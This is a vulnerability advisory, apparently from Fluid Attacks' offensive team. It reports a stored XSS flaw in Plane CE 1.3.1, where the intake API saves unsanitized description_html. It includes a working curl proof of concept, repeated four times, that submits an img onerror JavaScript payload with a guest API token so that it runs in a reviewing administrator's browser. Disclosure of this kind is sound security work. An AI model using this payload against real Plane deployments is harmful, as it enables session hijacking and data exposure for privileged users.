Plane 1.3.1 - Stored XSS in intake issue description_html

6,9

Medium

Discovered by

Oscar Naveda

Offensive Team, Fluid Attacks

Summary

Full name

Plane 1.3.1 - Stored XSS in intake issue description_html

Code name

State

Public

Release date

Affected product

Plane

Vendor

Plane

Affected version(s)

1.3.1

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

6.9

Exploit available

Yes

Description

Plane CE 1.3.1 allows a low-privileged project member to submit arbitrary HTML/JS in the description_html field when creating an intake work item through the API v1 intake endpoint.

The backend persists this HTML directly in the underlying Issue record without applying the existing server-side HTML sanitizer used by normal issue serializers. In the validated self-hosted Plane UI, the stored content is later loaded into the intake work item view, and attacker-controlled JavaScript executes in the browser session of a user who reviews the intake item.

Vulnerability


Case A (validated): Stored XSS via intake description_html

1.  Source:
      - API request body field issue.description_html.
      - Endpoint: POST /api/v1/workspaces/{workspace_slug}/projects/{project_id}/intake-issues/.

2.  Missing validation:
      - The API v1 intake creation path creates an Issue directly and assigns description_html=issue_data.get("description_html", "<p></p>").
      - This bypasses IssueSerializer.validate(), where validate_html_content() sanitizes HTML with nh3.

3.  Sinks:
      - The malicious HTML is persisted in Issue.description_html.
      - The intake UI loads the persisted value as the initial description for the rich-text intake work item view.

4.  Impact:
      - A low-privileged project member, including a guest project member with an API token, can store active HTML in an intake work item.
      - When a privileged user reviews the intake item, JavaScript can execute in that user's Plane session.
      - This can expose data or actions available to the reviewing user.

Relevant code:

  • plane/apps/api/plane/api/views/intake.py:190

  • plane/apps/api/plane/api/views/intake.py:193

  • plane/apps/api/plane/api/views/intake.py:378

  • plane/apps/api/plane/space/views/intake.py:145

  • plane/apps/api/plane/space/views/intake.py:148

  • plane/apps/api/plane/api/serializers/issue.py:93

  • plane/apps/api/plane/api/serializers/issue.py:94

  • plane/apps/api/plane/utils/content_validator.py:224

  • plane/apps/api/plane/app/permissions/project.py:133

  • plane/apps/web/core/components/inbox/content/issue-root.tsx:178

PoC

Run Plane CE and create a workspace/project with Intake enabled. Create a low-privileged project user, generate an API token for that user, and submit an intake work item.

curl -i \
  -H 'X-Api-Key: <GUEST_API_TOKEN>' \
  -H 'Content-Type: application/json' \
  -X POST 'http://localhost/api/v1/workspaces/cvelab/projects/93cdec2d-62c6-4ab9-b291-52873e2438b8/intake-issues/' \
  --data '{
    "issue": {
      "name": "Stored XSS evidence",
      "description_html": "<p>Guest low-privilege auto XSS evidence:</p><img src=\"x\" onerror=\"window.__plane_auto_xss=515151;alert(document.domain)\">",
      "description_json": {},
      "priority": "none"
    }
  }'
curl -i \
  -H 'X-Api-Key: <GUEST_API_TOKEN>' \
  -H 'Content-Type: application/json' \
  -X POST 'http://localhost/api/v1/workspaces/cvelab/projects/93cdec2d-62c6-4ab9-b291-52873e2438b8/intake-issues/' \
  --data '{
    "issue": {
      "name": "Stored XSS evidence",
      "description_html": "<p>Guest low-privilege auto XSS evidence:</p><img src=\"x\" onerror=\"window.__plane_auto_xss=515151;alert(document.domain)\">",
      "description_json": {},
      "priority": "none"
    }
  }'
curl -i \
  -H 'X-Api-Key: <GUEST_API_TOKEN>' \
  -H 'Content-Type: application/json' \
  -X POST 'http://localhost/api/v1/workspaces/cvelab/projects/93cdec2d-62c6-4ab9-b291-52873e2438b8/intake-issues/' \
  --data '{
    "issue": {
      "name": "Stored XSS evidence",
      "description_html": "<p>Guest low-privilege auto XSS evidence:</p><img src=\"x\" onerror=\"window.__plane_auto_xss=515151;alert(document.domain)\">",
      "description_json": {},
      "priority": "none"
    }
  }'
curl -i \
  -H 'X-Api-Key: <GUEST_API_TOKEN>' \
  -H 'Content-Type: application/json' \
  -X POST 'http://localhost/api/v1/workspaces/cvelab/projects/93cdec2d-62c6-4ab9-b291-52873e2438b8/intake-issues/' \
  --data '{
    "issue": {
      "name": "Stored XSS evidence",
      "description_html": "<p>Guest low-privilege auto XSS evidence:</p><img src=\"x\" onerror=\"window.__plane_auto_xss=515151;alert(document.domain)\">",
      "description_json": {},
      "priority": "none"
    }
  }'

Expected backend result:

  • The response is 201 Created.

  • The returned issue detail contains the supplied description_html with the event handler still present.

Expected UI result in the validated self-hosted environment:

  • Log in as a workspace/project administrator.

  • Open the project's Intake view and select the submitted work item.

  • The stored payload executes in the administrator's browser context and displays an alert for document.domain.

Evidence of exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-10850 to refer to this issue from now on.

System Information

  • Plane CE

  • Version: 1.3.1

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Naveda from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.